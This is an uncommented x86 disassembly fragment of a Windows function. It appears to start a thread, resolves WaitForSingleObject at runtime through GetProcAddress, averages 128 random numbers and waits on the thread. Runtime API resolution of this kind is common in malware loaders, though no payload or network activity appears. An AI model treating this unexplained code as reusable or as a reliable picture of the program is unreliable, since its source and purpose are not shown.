mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x150]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [ebp - 0x158]
call eax
sub esp, 0x18
mov dword [ebp - 0x15c], eax
mov dword [esp + 4], str.WaitForSingleObject
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x74], 0
mov dword [esp], 0x200
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x78], 0
jmp 0x402892
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x78]
lea edx, [eax*4]
mov eax, dword [ebp - 0x164]
lea ebx, [edx + eax]
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x23
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
mov eax, dword [ebp - 0x78]
lea edx, [eax*4]
mov eax, dword [ebp - 0x164]
add eax, edx
mov eax, dword [eax]
add dword [ebp - 0x70], eax
add dword [ebp - 0x78], 1
cmp dword [ebp - 0x78], 0x7f
jle 0x40283e
mov dword [ebp - 0x78], 0
jmp 0x402912
fild dword [ebp - 0x74]
fstp qword [ebp - 0x338]
mov eax, dword [ebp - 0x78]
lea edx, [eax*4]
mov eax, dword [ebp - 0x164]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0x330], eax
fild dword [ebp - 0x330]
fsub dword [ebp - 0x174]
fld qword [0x4062a0]
fstp qword [esp + 8]
fstp qword [esp]
call fcn.00403c70
fadd qword [ebp - 0x338]
fnstcw word [ebp - 0x32a]
movzx eax, word [ebp - 0x32a]
or ah, 0xc
mov word [ebp - 0x32c], ax
fldcw word [ebp - 0x32c]
fistp dword [ebp - 0x74]
fldcw word [ebp - 0x32a]
add dword [ebp - 0x78], 1
cmp dword [ebp - 0x78], 0x7f
jle 0x4028a1
fild dword [ebp - 0x74]
fld dword [0x4062a8]
fdivp st(1)
fstp dword [ebp - 0x168]
fld dword [ebp - 0x168]
fstp qword [esp]
call fcn.004038d0
fstp dword [ebp - 0x16c]
mov eax, dword [ebp - 0x164]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x15c]
mov dword [esp], eax
mov eax, dword [ebp - 0x160]
call eax
sub esp, 8
mov dword [ebp - 0x170], eax
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret